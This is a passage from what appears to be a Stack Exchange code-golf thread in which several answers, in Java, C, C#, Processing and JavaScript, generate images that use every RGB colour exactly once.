i = 0; while(true) { if(i % 10 == 0) { //no need on every iteration dx = std::normal_distribution<float>(0, 8 + 3 * i/1000.f); dy = std::normal_distribution<float>(0, 4 + 3 * i/1000.f); } int x = (int) dx(gen); int y = (int) dy(gen); if(x < 256 && x >= 0 && y >= 0 && y < 128) { if(!image.pixel(x, y)) { image.setPixel(x, y, data[i]); if(i % (c/100) == 1) { std::cout << (int) (100.f*i/c) << "%\n"; } if(++i == c) break; } } } image.save("tmp.png"); return 0; } ``` [Answer] # In Java: ``` import java.awt.Color; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.Collections; import java.util.LinkedList; import javax.imageio.ImageIO; public class ImgColor { private static class Point { public int x, y; public color c; public Point(int x, int y, color c) { this.x = x; this.y = y; this.c = c; } } private static class color { char r, g, b; public color(int i, int j, int k) { r = (char) i; g = (char) j; b = (char) k; } } public static LinkedList<Point> listFromImg(String path) { LinkedList<Point> ret = new LinkedList<>(); BufferedImage bi = null; try { bi = ImageIO.read(new File(path)); } catch (IOException e) { e.printStackTrace(); } for (int x = 0; x < 4096; x++) { for (int y = 0; y < 4096; y++) { Color c = new Color(bi.getRGB(x, y)); ret.add(new Point(x, y, new color(c.getRed(), c.getGreen(), c.getBlue()))); } } Collections.shuffle(ret); return ret; } public static LinkedList<color> allColors() { LinkedList<color> colors = new LinkedList<>(); for (int r = 0; r < 256; r++) { for (int g = 0; g < 256; g++) { for (int b = 0; b < 256; b++) { colors.add(new color(r, g, b)); } } } Collections.shuffle(colors); return colors; } public static Double cDelta(color a, color b) { return Math.pow(a.r - b.r, 2) + Math.pow(a.g - b.g, 2) + Math.pow(a.b - b.b, 2); } public static void main(String[] args) { BufferedImage img = new BufferedImage(4096, 4096, BufferedImage.TYPE_INT_RGB); LinkedList<Point> orig = listFromImg(args[0]); LinkedList<color> toDo = allColors(); Point p = null; while (orig.size() > 0 && (p = orig.pop()) != null) { color chosen = toDo.pop(); for (int i = 0; i < Math.min(100, toDo.size()); i++) { color c = toDo.pop(); if (cDelta(c, p.c) < cDelta(chosen, p.c)) { toDo.add(chosen); chosen = c; } else { toDo.add(c); } } img.setRGB(p.x, p.y, new Color(chosen.r, chosen.g, chosen.b).getRGB()); } try { ImageIO.write(img, "PNG", new File(args[1])); } catch (IOException e) { e.printStackTrace(); } } } ``` and an input image: ![lemur](https://i.stack.imgur.com/gxg6C.jpg) I generate something like this: ![acidLemur](https://i.stack.imgur.com/cec0B.jpg) uncompressed version here: <https://www.mediafire.com/?7g3fetvaqhoqgh8> It takes my computer roughly 30 minutes to do a 4096^2 image, which is a huge improvement over the 32 days my first implementation would have taken. [Answer] ## Java Variations of a color picker in 512x512. *Elegant code it is not*, but I do like the pretty pictures: ``` import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.Random; import javax.imageio.ImageIO; public class EighteenBitColors { static boolean shuffle_block = false; static int shuffle_radius = 0; public static void main(String[] args) { BufferedImage img = new BufferedImage(512, 512, BufferedImage.TYPE_INT_RGB); for(int r=0;r<64;r++) for(int g=0;g<64;g++) for(int b=0;b<64;b++) img.setRGB((r * 8) + (b / 8), (g * 8) + (b % 8), ((r * 4) << 8 | (g * 4)) << 8 | (b * 4)); if(shuffle_block) blockShuffle(img); else shuffle(img, shuffle_radius); try { ImageIO.write(img, "png", new File(getFileName())); } catch(IOException e){ System.out.println("suck it"); } } public static void shuffle(BufferedImage img, int radius){ if(radius < 1) return; int width = img.getWidth(); int height = img.getHeight(); Random rand = new Random(); for(int x=0;x<512;x++){ for(int y=0;y<512;y++){ int xx = -1; int yy = -1; while(xx < 0 || xx >= width){ xx = x + rand.nextInt(radius*2+1) - radius; } while(yy < 0 || yy >= height){ yy = y + rand.nextInt(radius*2+1) - radius; } int tmp = img.getRGB(xx, yy); img.setRGB(xx, yy, img.getRGB(x, y)); img.setRGB(x,y,tmp); } } } public static void blockShuffle(BufferedImage img){ int tmp; Random rand = new Random(); for(int bx=0;bx<8;bx++){ for(int by=0;by<8;by++){ for(int x=0;x<64;x++){ for(int y=0;y<64;y++){ int xx = bx*64+x; int yy = by*64+y; int xxx = bx*64+rand.nextInt(64); int yyy = by*64+rand.nextInt(64); tmp = img.getRGB(xxx, yyy); img.setRGB(xxx, yyy, img.getRGB(xx, yy)); img.setRGB(xx,yy,tmp); } } } } } public static String getFileName(){ String fileName = "allrgb_"; if(shuffle_block){ fileName += "block"; } else if(shuffle_radius > 0){ fileName += "radius_" + shuffle_radius; } else { fileName += "no_shuffle"; } return fileName + ".png"; } } ``` As written, it outputs: ![no shuffle](https://i.stack.imgur.com/4NN4a.png) If you run it with `shuffle_block = true`, it shuffles the colors in each 64x64 block: ![block shuffle](https://i.stack.imgur.com/TeQm8.png) Else, if you run it with `shuffle_radius > 0`, it shuffles each pixel with a random pixel within `shuffle_radius` in x/y. After playing with various sizes, I like a 32 pixel radius, as it blurs the lines without moving stuff around too much: ![enter image description here](https://i.stack.imgur.com/1EbkO.png) [Answer] # Java with BubbleSort (usually Bubblesort isnt liked that much but for this challenge it finally had a use :) generated a line with all elements in 4096 steps apart then shuffled it; the sorting went thru and each like got 1 added to their value while being sorted so as result you got the values sorted and all colors Updated the Sourcecode to get those big stripes removed (needed some bitwise magic :P) ``` class Pix { public static void main(String[] devnull) throws Exception { int chbits=8; int colorsperchannel=1<<chbits; int xsize=4096,ysize=4096; System.out.println(colorsperchannel); int[] x = new int[xsize*ysize];//colorstream BufferedImage i = new BufferedImage(xsize,ysize, BufferedImage.TYPE_INT_RGB); List<Integer> temp = new ArrayList<>(); for (int j = 0; j < 4096; j++) { temp.add(4096*j); } int[] temp2=new int[4096]; Collections.shuffle(temp,new Random(9263));//intended :P looked for good one for (int j = 0; j < temp.size(); j++) { temp2[j]=(int)(temp.get(j)); } x = spezbubblesort(temp2, 4096); int b=-1; int b2=-1; for (int j = 0; j < x.length; j++) { if(j%(4096*16)==0)b++; if(j%(4096)==0)b2++; int h=j/xsize; int w=j%xsize; i.setRGB(w, h, x[j]&0xFFF000|(b|(b2%16)<<8)); x[j]=x[j]&0xFFF000|(b|(b2%16)<<8); } //validator sorting and checking that all values only have 1 difference Arrays.sort(x); int diff=0; for (int j = 1; j < x.length; j++) { int ndiff=x[j]-x[j-1]; if(ndiff!=diff) { System.out.println(ndiff); } diff=ndiff; } OutputStream out = new BufferedOutputStream(new FileOutputStream("RGB24.bmp")); ImageIO.write(i, "bmp", out); } public static int[] spezbubblesort(int[] vals,int lines) { int[] retval=new int[vals.length*lines]; for (int i = 0; i < lines; i++) { retval[(i<<12)]=vals[0]; for (int j = 1; j < vals.length; j++) { retval[(i<<12)+j]=vals[j]; if(vals[j]<vals[j-1]) { int temp=vals[j-1]; vals[j-1]=vals[j]; vals[j]=temp; } vals[j-1]=vals[j-1]+1; } vals[lines-1]=vals[lines-1]+1; } return retval; } } ``` ![Result:](https://i.stack.imgur.com/qfvwr.jpg) Old version ``` class Pix { public static void main(String[] devnull) throws Exception { int[] x = new int[4096*4096];//colorstream int idx=0; BufferedImage i = new BufferedImage(4096, 4096, BufferedImage.TYPE_INT_RGB); //GENCODE List<Integer> temp = new ArrayList<>(); for (int j = 0; j < 4096; j++) { temp.add(4096*j); } int[] temp2=new int[4096]; Collections.shuffle(temp,new Random(9263));//intended :P looked for good one for (int j = 0; j < temp.size(); j++) { temp2[j]=(int)(temp.get(j)); } x = spezbubblesort(temp2, 4096); for (int j = 0; j < x.length; j++) { int h=j/4096; int w=j%4096; i.setRGB(w, h, x[j]); } //validator sorting and checking that all values only have 1 difference Arrays.sort(x); int diff=0; for (int j = 1; j < x.length; j++) { int ndiff=x[j]-x[j-1]; if(ndiff!=diff) { System.out.println(ndiff); } diff=ndiff; } OutputStream out = new BufferedOutputStream(new FileOutputStream("RGB24.bmp")); ImageIO.write(i, "bmp", out); } public static int[] spezbubblesort(int[] vals,int lines) { int[] retval=new int[vals.length*lines]; for (int i = 0; i < lines; i++) { retval[(i<<12)]=vals[0]; for (int j = 1; j < vals.length; j++) { retval[(i<<12)+j]=vals[j]; if(vals[j]<vals[j-1]) { int temp=vals[j-1]; vals[j-1]=vals[j]; vals[j]=temp; } vals[j-1]=vals[j-1]+1; } vals[lines-1]=vals[lines-1]+1; } return retval; } } ``` ![output preview](https://i.stack.imgur.com/kqatz.jpg) [Answer] # C Creates a vortex, for reasons I don't understand, with even and odd frames containing completely different vortices. This a preview of the first 50 odd frames: ![vortex preview](https://i.stack.imgur.com/BEyPY.gif) Sample image converted from PPM to demo complete color coverage: ![sample image](https://i.stack.imgur.com/3GnAW.png) Later on, when it's all blended into grey, you can still see it spinning: [longer sequence](http://www.mediafire.com/convkey/c01a/lz56znlgsre8cddfg.jpg). Code as follows. To run, include the frame number, e.g.: ``` ./vortex 35 > 35.ppm ``` I used this to get an animated GIF: ``` convert -delay 10 `ls *.ppm | sort -n | xargs` -loop 0 vortex.gif ``` ``` #include <stdlib.h> #include <stdio.h> #define W 256 #define H 128 typedef struct {unsigned char r, g, b;} RGB; int S1(const void *a, const void *b) { const RGB *p = a, *q = b; int result = 0; if (!result) result = (p->b + p->g * 6 + p->r * 3) - (q->b + q->g * 6 + q->r * 3); return result; } int S2(const void *a, const void *b) { const RGB *p = a, *q = b; int result = 0; if (!result) result = p->b * 6 - p->g; if (!result) result = p->r - q->r; if (!result) result = p->g - q->b * 6; return result; } int main(int argc, char *argv[]) { int i, j, n; RGB *rgb = malloc(sizeof(RGB) * W * H); RGB c[H]; for (i = 0; i < W * H; i++) { rgb[i].b = (i & 0x1f) << 3; rgb[i].g = ((i >> 5) & 0x1f) << 3; rgb[i].r = ((i >> 10) & 0x1f) << 3; } qsort(rgb, H * W, sizeof(RGB), S1); for (n = 0; n < atoi(argv[1]); n++) { for (i = 0; i < W; i++) { for (j = 0; j < H; j++) c[j] = rgb[j * W + i]; qsort(c, H, sizeof(RGB), S2); for (j = 0; j < H; j++) rgb[j * W + i] = c[j]; } for (i = 0; i < W * H; i += W) qsort(rgb + i, W, sizeof(RGB), S2); } printf("P6 %d %d 255\n", W, H); fwrite(rgb, sizeof(RGB), W * H, stdout); free(rgb); return 0; } ``` [Answer] # Processing I'm just getting started with C (having programmed in other languages) but found the graphics in Visual C tough to follow, so I downloaded this Processing program used by @ace. Here's my code and my algorithm. ``` void setup(){ size(256,128); background(0); frameRate(1000000000); noLoop(); } int x,y,r,g,b,c; void draw() { for(y=0;y<128;y++)for(x=0;x<128;x++){ r=(x&3)+(y&3)*4; g=x>>2; b=y>>2; c=0; //c=x*x+y*y<10000? 1:0; stroke((r^16*c)<<3,g<<3,b<<3); point(x,y); stroke((r^16*(1-c))<<3,g<<3,b<<3); point(255-x,y); } } ``` **Algorithm** Start with 4x4 squares of all possible combinations of 32 values of green and blue, in x,y. format, making a 128x128 square Each 4x4 square has 16 pixels, so make a mirror image beside it to give 32 pixels of each possible combination of green and blue, per image below. (bizarrely the full green looks brighter than the full cyan. ~~This must be an optical illusion.~~ clarified in comments) In the lefthand square, add in the red values 0-15. For the righthand square, XOR these values with 16, to make the values 16-31. ![enter image description here](https://i.stack.imgur.com/ZP40E.png) **Output 256x128** This gives the output in the top image below. However, every pixel differs from its mirror image only in the most significant bit of the red value. So, I can apply a condition with the variable `c`, to reverse the XOR, which has the same effect as exchanging these two pixels. An example of this is given in the bottom image below (if we uncomment the line of code which is currently commented out.) ![enter image description here](https://i.stack.imgur.com/GW1gg.png) **512 x 512 - A tribute to Andy Warhol's Marylin** Inspired by Quincunx's answer to this question with an "evil grin" in freehand red circles, here is my version of the famous picture. The original actually had 25 coloured Marylins and 25 black & white Marylins and was Warhol's tribute to Marylin after her untimely death. See <http://en.wikipedia.org/wiki/Marilyn_Diptych> I changed to different functions after discovering that Processing renders the ones I used in 256x128 as semitransparent. The new ones are opaque. And although the image isn't completely algorithmic, I rather like it. ``` int x,y,r,g,b,c; PImage img; color p; void setup(){ size(512,512); background(0); img = loadImage("marylin256.png"); frameRate(1000000000); noLoop(); } void draw() { image(img,0,0); for(y=0;y<256;y++)for(x=0;x<256;x++){ // Note the multiplication by 0 in the next line. // Replace the 0 with an 8 and the reds are blended checkerboard style // This reduces the grain size, but on balance I decided I like the grain. r=((x&3)+(y&3)*4)^0*((x&1)^(y&1)); g=x>>2; b=y>>2; c=brightness(get(x,y))>100? 32:0; p=color((r^c)<<2,g<<2,b<<2); set(x,y,p); p=color((r^16^c)<<2,g<<2,b<<2); set(256+x,y,p); p=color((r^32^c)<<2,g<<2,b<<2); set(x,256+y,p); p=color((r^48^c)<<2,g<<2,b<<2); set(256+x,256+y,p); } save("warholmarylin.png"); ``` } ![enter image description here](https://i.stack.imgur.com/0w2DZ.png) **512x512 Twilight over a lake with mountains in the distance** Here, a fully algorithmic picture. I've played around with changing which colour I modulate with the condition, but I just come back to the conclusion that red works best. Similar to the Marylin picture, I draw the mountains first, then pick the brightness from that picture to overwrite the positive RGB image, while copying to the negative half. A slight difference is that the bottom of many of the mountains (because they are all drawn the same size) extends below the read area, so this area is simply cropped during the reading process (which therefore gives the desired impression of different size mountains.) In this one I use an 8x4 cell of 32 reds for the positive, and the remaining 32 reds for the negative. Note the expicit command frameRate(1) at the end of my code. I discovered that without this command, Processing would use 100% of one core of my CPU, even though it had finished drawing. As far as I can tell there is no Sleep function, all you can do is reduce the frequency of polling. ``` int i,j,x,y,r,g,b,c; PImage img; color p; void setup(){ size(512,512); background(255,255,255); frameRate(1000000000); noLoop(); } void draw() { for(i=0; i<40; i++){ x=round(random(512)); y=round(random(64,256)); for(j=-256; j<256; j+=12) line(x,y,x+j,y+256); } for(y=0;y<256;y++)for(x=0;x<512;x++){ r=(x&7)+(y&3)*8; b=x>>3; g=(255-y)>>2; c=brightness(get(x,y))>100? 32:0; p=color((r^c)<<2,g<<2,b<<2); set(x,y,p); p=color((r^32^c)<<2,g<<2,b<<2); set(x,511-y,p); } save("mountainK.png"); frameRate(1); } ``` ![enter image description here](https://i.stack.imgur.com/ezbmA.png) [Answer] I just arranged all 16-bit colors (5r,6g,5b) on a [Hilbert curve](http://en.wikipedia.org/wiki/Hilbert_curve) in JavaScript. ![hilbert curve colors](https://i.stack.imgur.com/BWYc4.png) Previous, (not Hilbert curve) image: ![hilbert curve](https://i.stack.imgur.com/9pRO2.png) JSfiddle: [jsfiddle.net/LCsLQ/3](http://jsfiddle.net/LCsLQ/3/) # JavaScript ``` // ported code from http://en.wikipedia.org/wiki/Hilbert_curve function xy2d (n, p) { p = {x: p.x, y: p.y}; var r = {x: 0, y: 0}, s, d=0; for (s=(n/2)|0; s>0; s=(s/2)|0) { r.x = (p.x & s) > 0 ? 1 : 0; r.y = (p.y & s) > 0 ? 1 : 0; d += s * s * ((3 * r.x) ^ r.y); rot(s, p, r); } return d; } //convert d to (x,y) function d2xy(n, d) { var r = {x: 0, y: 0}, p = {x: 0, y: 0}, s, t=d; for (s=1; s<n; s*=2) { r.x = 1 & (t/2); r.y = 1 & (t ^ rx); rot(s, p, r); p.x += s * r.x; p.y += s * r.y; t /= 4; } return p; } //rotate/flip a quadrant appropriately function rot(n, p, r) { if (r.y === 0) { if (r.x === 1) { p.x = n-1 - p.x; p.y = n-1 - p.y; } //Swap x and y var t = p.x; p.x = p.y; p.y = t; } } function v2rgb(v) { return ((v & 0xf800) << 8) | ((v & 0x7e0) << 5) | ((v & 0x1f) << 3); } function putData(arr, size, coord, v) { var pos = (coord.x + size * coord.y) * 4, rgb = v2rgb(v); arr[pos] = (rgb & 0xff0000) >> 16; arr[pos + 1] = (rgb & 0xff00) >> 8; arr[pos + 2] = rgb & 0xff; arr[pos + 3] = 0xff; } var size = 256, context = a.getContext('2d'), data = context.getImageData(0, 0, size, size); for (var i = 0; i < size; i++) { for (var j = 0; j < size; j++) { var p = {x: j, y: i}; putData(data.data, size, p, xy2d(size, p)); } } context.putImageData(data, 0, 0); ``` *Edit*: It turns out that there was a bug in my function to calculate Hilbert curve and it was incorrect; namely, `r.x = (p.x & s) > 0; r.y = (p.y & s) > 0;` changed to `r.x = (p.x & s) > 0 ? 1 : 0; r.y = (p.y & s) > 0 ? 1 : 0;` *Edit 2:* Another fractal: ![sierpinsky](https://i.stack.imgur.com/sfjQw.png) <http://jsfiddle.net/jej2d/5/> [Answer] ## C#: Iterative local similarity optimization ``` using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Drawing; using System.Drawing.Imaging; namespace AllColors { class Program { static Random _random = new Random(); const int ImageWidth = 256; const int ImageHeight = 128; const int PixelCount = ImageWidth * ImageHeight; const int ValuesPerChannel = 32; const int ChannelValueDelta = 256 / ValuesPerChannel; static readonly int[,] Kernel; static readonly int KernelWidth; static readonly int KernelHeight; static Program() { // Version 1 Kernel = new int[,] { { 0, 1, 0, }, { 1, 0, 1, }, { 0, 1, 0, } }; // Version 2 //Kernel = new int[,] { { 0, 0, 1, 0, 0 }, // { 0, 2, 3, 2, 0 }, // { 1, 3, 0, 3, 1 }, // { 0, 2, 3, 2, 0 }, // { 0, 0, 1, 0, 0 } }; // Version 3 //Kernel = new int[,] { { 3, 0, 0, 0, 3 }, // { 0, 1, 0, 1, 0 }, // { 0, 0, 0, 0, 0 }, // { 0, 1, 0, 1, 0 }, // { 3, 0, 0, 0, 3 } }; // Version 4 //Kernel = new int[,] { { -9, -9, -9, -9, -9 }, // { 1, 2, 3, 2, 1 }, // { 2, 3, 0, 3, 2 }, // { 1, 2, 3, 2, 1 }, // { 0, 0, 0, 0, 0 } }; // Version 5 //Kernel = new int[,] { { 0, 0, 1, 0, 0, 0, 0 }, // { 0, 1, 2, 1, 0, 0, 0 }, // { 1, 2, 3, 0, 1, 0, 0 }, // { 0, 1, 2, 0, 0, 0, 0 }, // { 0, 0, 1, 0, 0, 0, 0 } }; KernelWidth = Kernel.GetLength(1); KernelHeight = Kernel.GetLength(0); if (KernelWidth % 2 == 0 || KernelHeight % 2 == 0) { throw new InvalidOperationException("Invalid kernel size"); } } private static Color[] CreateAllColors() { int i = 0; Color[] colors = new Color[PixelCount]; for (int r = 0; r < ValuesPerChannel; r++) { for (int g = 0; g < ValuesPerChannel; g++) { for (int b = 0; b < ValuesPerChannel; b++) { colors[i] = Color.FromArgb(255, r * ChannelValueDelta, g * ChannelValueDelta, b * ChannelValueDelta); i++; } } } return colors; } private static void Shuffle(Color[] colors) { // Knuth-Fisher-Yates shuffle for (int i = colors.Length - 1; i > 0; i--) { int n = _random.Next(i + 1); Swap(colors, i, n); } } private static void Swap(Color[] colors, int index1, int index2) { var temp = colors[index1]; colors[index1] = colors[index2]; colors[index2] = temp; } private static Bitmap ToBitmap(Color[] pixels) { Bitmap bitmap = new Bitmap(ImageWidth, ImageHeight); int x = 0; int y = 0; for (int i = 0; i < PixelCount; i++) { bitmap.SetPixel(x, y, pixels[i]); x++; if (x == ImageWidth) { x = 0; y++; } } return bitmap; } private static int GetNeighborDelta(Color[] pixels, int index1, int index2) { return GetNeighborDelta(pixels, index1) + GetNeighborDelta(pixels, index2); } private static int GetNeighborDelta(Color[] pixels, int index) { Color center = pixels[index]; int sum = 0; for (int x = 0; x < KernelWidth; x++) { for (int y = 0; y < KernelHeight; y++) { int weight = Kernel[y, x]; if (weight == 0) { continue; } int xOffset = x - (KernelWidth / 2); int yOffset = y - (KernelHeight / 2); int i = index + xOffset + yOffset * ImageWidth; if (i >= 0 && i < PixelCount) { sum += GetDelta(pixels[i], center) * weight; } } } return sum; } private static int GetDelta(Color c1, Color c2) { int sum = 0; sum += Math.Abs(c1.R - c2.R); sum += Math.Abs(c1.G - c2.G); sum += Math.Abs(c1.B - c2.B); return sum; } private static bool TryRandomSwap(Color[] pixels) { int index1 = _random.Next(PixelCount); int index2 = _random.Next(PixelCount); int delta = GetNeighborDelta(pixels, index1, index2); Swap(pixels, index1, index2); int newDelta = GetNeighborDelta(pixels, index1, index2); if (newDelta < delta) { return true; } else { // Swap back Swap(pixels, index1, index2); return false; } } static void Main(string[] args) { string fileNameFormat = "{0:D10}.png"; var image = CreateAllColors(); ToBitmap(image).Save("start.png"); Shuffle(image); ToBitmap(image).Save(string.Format(fileNameFormat, 0)); long generation = 0; while (true) { bool swapped = TryRandomSwap(image); if (swapped) { generation++; if (generation % 1000 == 0) { ToBitmap(image).Save(string.Format(fileNameFormat, generation)); } } } } } } ``` ### Idea First we start with a random shuffle: ![enter image description here](https://i.stack.imgur.com/ciYlp.png) Then we randomly select two pixels and swap them. If this does not increase the similarity of the pixels to their neighbors, we swap back and try again. We repeat this process over and over again. After just a few generations (5000) the differences are not that obvious... ![enter image description here](https://i.stack.imgur.com/mBOg6.png) But the longer it runs (25000), ... ![enter image description here](https://i.stack.imgur.com/5N2ow.png) ...the more certain patterns start to emerge (100000). ![enter image description here](https://i.stack.imgur.com/QzPtR.png) Using different definitions for *neighborhood*, we can influence these patterns and whether they are stable or not. The `Kernel` is a matrix similar to the [ones used for filters in image processing](http://en.wikipedia.org/wiki/Kernel_%28image_processing%29). It specifies the weights of each neighbor used for the RGB delta calculation. ### Results Here are some of the results I created. The videos show the iterative process (1 frame == 1000 generations), but sadly the quality is not the best (vimeo, YouTube etc. do not properly support such small dimensions). I may later try to create videos of better quality. ``` 0 1 0 1 X 1 0 1 0 ``` 185000 generations: ![enter image description here](https://i.stack.imgur.com/6QAYk.png) [Video (00:06)](https://vimeo.com/87981881) --- ``` 0 0 1 0 0 0 2 3 2 0 1 3 X 3 1 0 2 3 2 0 0 0 1 0 0 ``` 243000 generations: ![enter image description here](https://i.stack.imgur.com/r1bAL.png) [Video (00:07)](https://vimeo.com/87982854) --- ``` 3 0 0 0 3 0 1 0 1 0 0 0 X 0 0 0 1 0 1 0 3 0 0 0 3 ``` 230000 generations: ![enter image description here](https://i.stack.imgur.com/U9cJh.png) [Video (00:07)](https://vimeo.com/87982856) --- ``` 0 0 1 0 0 0 0 0 1 2 1 0 0 0 1 2 3 X 1 0 0 0 1 2 0 0 0 0 0 0 1 0 0 0 0 ``` This kernel is interesting because due to its asymmetry the patterns are not stable and the whole image moves to the right as the generations go by. 2331000 generations: ![enter image description here](https://i.stack.imgur.com/iD2lS.png) [Video (01:10)](https://vimeo.com/87982857) --- ### Large Results (512x512) Using the kernels above with a larger image dimension creates the same local patterns, spaning a larger total area. A 512x512 image takes between 1 and 2 million generations to stabilize. ![enter image description here](https://i.stack.imgur.com/Fh0QV.png) ![enter image description here](https://i.stack.imgur.com/KMZ2A.png) ![enter image description here](https://i.stack.imgur.com/jslCA.png) --- OK, now let's get serious and create larger, less local patterns with a 15x15 radial kernel: ``` 0 0 0 0 0 1 1 1 1 1 0 0 0 0 0 0 0 0 1 1 2 2 2 2 2 1 1 0 0 0 0 0 1 2 2 3 3 3 3 3 2 2 1 0 0 0 1 2 2 3 4 4 4 4 4 3 2 2 1 0 0 1 2 3 4 4 5 5 5 4 4 3 2 1 0 1 2 3 4 4 5 6 6 6 5 4 4 3 2 1 1 2 3 4 5 6 7 7 7 6 5 4 3 2 1 1 2 3 4 5 6 7 X 7 6 5 4 3 2 1 1 2 3 4 5 6 7 7 7 6 5 4 3 2 1 1 2 3 4 4 5 6 6 6 5 4 4 3 2 1 0 1 2 3 4 4 5 5 5 4 4 3 2 1 0 0 1 2 2 3 4 4 4 4 4 3 2 2 1 0 0 0 1 2 2 3 3 3 3 3 2 2 1 0 0 0 0 0 1 1 2 2 2 2 2 1 1 0 0 0 0 0 0 0 0 1 1 1 1 1 0 0 0 0 0 ``` This drastically increases the computation time per generation. 1.71 million generations and 20 hours later: ![enter image description here](https://i.stack.imgur.com/95wif.png) [Answer] # Java I wasn't actually sure how to create 15- or 18-bit colors, so I just left off the least significant bit of each channel's byte to make 2^18 different 24-bit colors. Most of the noise is removed by sorting, but effective noise removal looks like it would require comparison of more than just two elements at a time the way Comparator does. I'll try manipulation using larger kernels, but in the mean time, this is about the best I've been able to do. ![enter image description here](https://i.stack.imgur.com/lfoub.png) [Click for HD image #2](https://SSend.it/hj4ovh) ![Low resolution image #2](https://i.stack.imgur.com/25TtG.png) ``` import java.awt.*; import java.awt.image.*; import javax.swing.*; import java.util.*; public class ColorSpan extends JFrame{ private int h, w = h = 512; private BufferedImage image = new BufferedImage(w,h,BufferedImage.TYPE_INT_RGB); private WritableRaster raster = image.getRaster(); private DataBufferInt dbInt = (DataBufferInt) (raster.getDataBuffer()); private int[] data = dbInt.getData(); private JLabel imageLabel = new JLabel(new ImageIcon(image)); private JPanel bordered = new JPanel(new BorderLayout()); public <T> void transpose(ArrayList<T> objects){ for(int i = 0; i < w; i++){ for(int j = 0; j < i; j++){ Collections.swap(objects,i+j*w,j+i*h); } } } public <T> void sortByLine(ArrayList<T> objects, Comparator<T> comp){ for(int i = 0; i < h; i++){ Collections.sort(objects.subList(i*w, (i+1)*w), comp); } } public void init(){ ArrayList<Integer> colors = new ArrayList<Integer>(); for(int i = 0, max = 1<<18; i < max; i++){ int r = i>>12, g = (i>>6)&63, b = i&63; colors.add(((r<<16)+(g<<8)+b)<<2); } Comparator<Integer> comp1 = new Comparator<Integer>(){ public int compare(Integer left, Integer right){ int a = left.intValue(), b = right.intValue(); int rA = a>>16, rB = b>>16, gA = (a>>8)&255, gB = (b>>8)&255; /*double thA = Math.acos(gA*2d/255-1), thB = Math.acos(gB*2d/255-1);*/ double thA = Math.atan2(rA/255d-.5,gA/255d-.5), thB = Math.atan2(rB/255d-.5,gB/255d-.5); return -Double.compare(thA,thB); } }, comp2 = new Comparator<Integer>(){ public int compare(Integer left, Integer right){ int a = left.intValue(), b = right.intValue(); int rA = a>>16, rB = b>>16, gA = (a>>8)&255, gB = (b>>8)&255, bA = a&255, bB = b&255; double dA = Math.hypot(gA-rA,bA-rA), dB = Math.hypot(gB-rB,bB-rB); return Double.compare(dA,dB); } }, comp3 = new Comparator<Integer>(){ public int compare(Integer left, Integer right){ int a = left.intValue(), b = right.intValue(); int rA = a>>16, rB = b>>16, gA = (a>>8)&255, gB = (b>>8)&255, bA = a&255, bB = b&255; return Integer.compare(rA+gA+bA,rB+gB+bB); } }; /* Start: Image 1 */ Collections.sort(colors, comp2); transpose(colors); sortByLine(colors,comp2); transpose(colors); sortByLine(colors,comp1); transpose(colors); sortByLine(colors,comp2); sortByLine(colors,comp3); /* End: Image 1 */ /* Start: Image 2 */ Collections.sort(colors, comp1); sortByLine(colors,comp2); transpose(colors); sortByLine(colors,comp2); transpose(colors); sortByLine(colors,comp1); transpose(colors); sortByLine(colors,comp1); /* End: Image 2 */ int index = 0; for(Integer color : colors){ int cInt = color.intValue(); data[index] = cInt; index++; } } public ColorSpan(){ super("512x512 Unique Colors"); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); init(); bordered.setBorder(BorderFactory.createEmptyBorder(2,2,2,2)); bordered.add(imageLabel,BorderLayout.CENTER); add(bordered,BorderLayout.CENTER); pack(); } public static void main(String[] args){ new ColorSpan().setVisible(true); } } ``` [Answer] # Java With a few variations on my other answer, we can get some very interesting outputs. ``` import java.awt.Point; import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.Random; import java.util.logging.Level; import java.util.logging.Logger; import javax.imageio.ImageIO; /** * * @author Quincunx */ public class AllColorImage { public static void main(String[] args) { BufferedImage img = new BufferedImage(4096, 4096, BufferedImage.TYPE_INT_RGB); int num = 0; ArrayList<Point> points = new ArrayList<>(); for (int y = 0; y < 4096; y++) { for (int x = 0; x < 4096; x++) { points.add(new Point(x, y)); } } Collections.sort(points, new Comparator<Point>() { @Override public int compare(Point t, Point t1) { int compareVal = (Integer.bitCount(t.x) + Integer.bitCount(t.y)) - (Integer.bitCount(t1.x) + Integer.bitCount(t1.y)); return compareVal < 0 ? -1 : compareVal == 0 ? 0 : 1; } }); for (Point p : points) { int x = p.x; int y = p.y; img.setRGB(x, y, num); num++; } try { ImageIO.write(img, "png", new File("Filepath")); } catch (IOException ex) { Logger.getLogger(AllColorImage.class.getName()).log(Level.SEVERE, null, ex); } } } ``` The important code is here: ``` Collections.sort(points, new Comparator<Point>() { @Override public int compare(Point t, Point t1) { int compareVal = (Integer.bitCount(t.x) + Integer.bitCount(t.y)) - (Integer.bitCount(t1.x) + Integer.bitCount(t1.y)); return compareVal < 0 ? -1 : compareVal == 0 ? 0 : 1; } }); ``` Output (screenshot): ![enter image description here](https://i.stack.imgur.com/YV9Mw.jpg) Change the comparator to this: ``` public int compare(Point t, Point t1) { int compareVal = (Integer.bitCount(t.x + t.y)) - (Integer.bitCount(t1.x + t1.y)); return compareVal < 0 ? -1 : compareVal == 0 ? 0 : 1; } ``` And we get this: ![enter image description here](https://i.stack.imgur.com/tybmG.jpg) Another variation: ``` public int compare(Point t, Point t1) { int compareVal = (t.x + t.y) - (t1.x + t1.y); return compareVal < 0 ? -1 : compareVal == 0 ? 0 : 1; } ``` ![enter image description here](https://i.stack.imgur.com/dNhGq.jpg) Yet another variation (reminds me of cellular automata): ``` public int compare(Point t, Point t1) { int compareVal = (t1.x - t.y) + (t.x - t1.y); return compareVal < 0 ? -1 : compareVal == 0 ? 0 : 1; } ``` ![enter image description here](https://i.stack.imgur.com/HFaS9.png) Yet another another variation (new personal favorite): ``` public int compare(Point t, Point t1) { int compareVal = (Integer.bitCount(t.x ^ t.y)) - (Integer.bitCount(t1.x ^ t1.y)); return compareVal < 0 ? -1 : compareVal == 0 ? 0 : 1; } ``` ![enter image description here](https://i.stack.imgur.com/ZnxUo.jpg) It looks so fractal-ly. XOR is so beautiful, especially closeup: ![enter image description here](https://i.stack.imgur.com/j3gkX.png) Another closeup: ![enter image description here](https://i.stack.imgur.com/YuRdv.png) And now the Sierpinski Triangle, tilted: ``` public int compare(Point t, Point t1) { int compareVal = 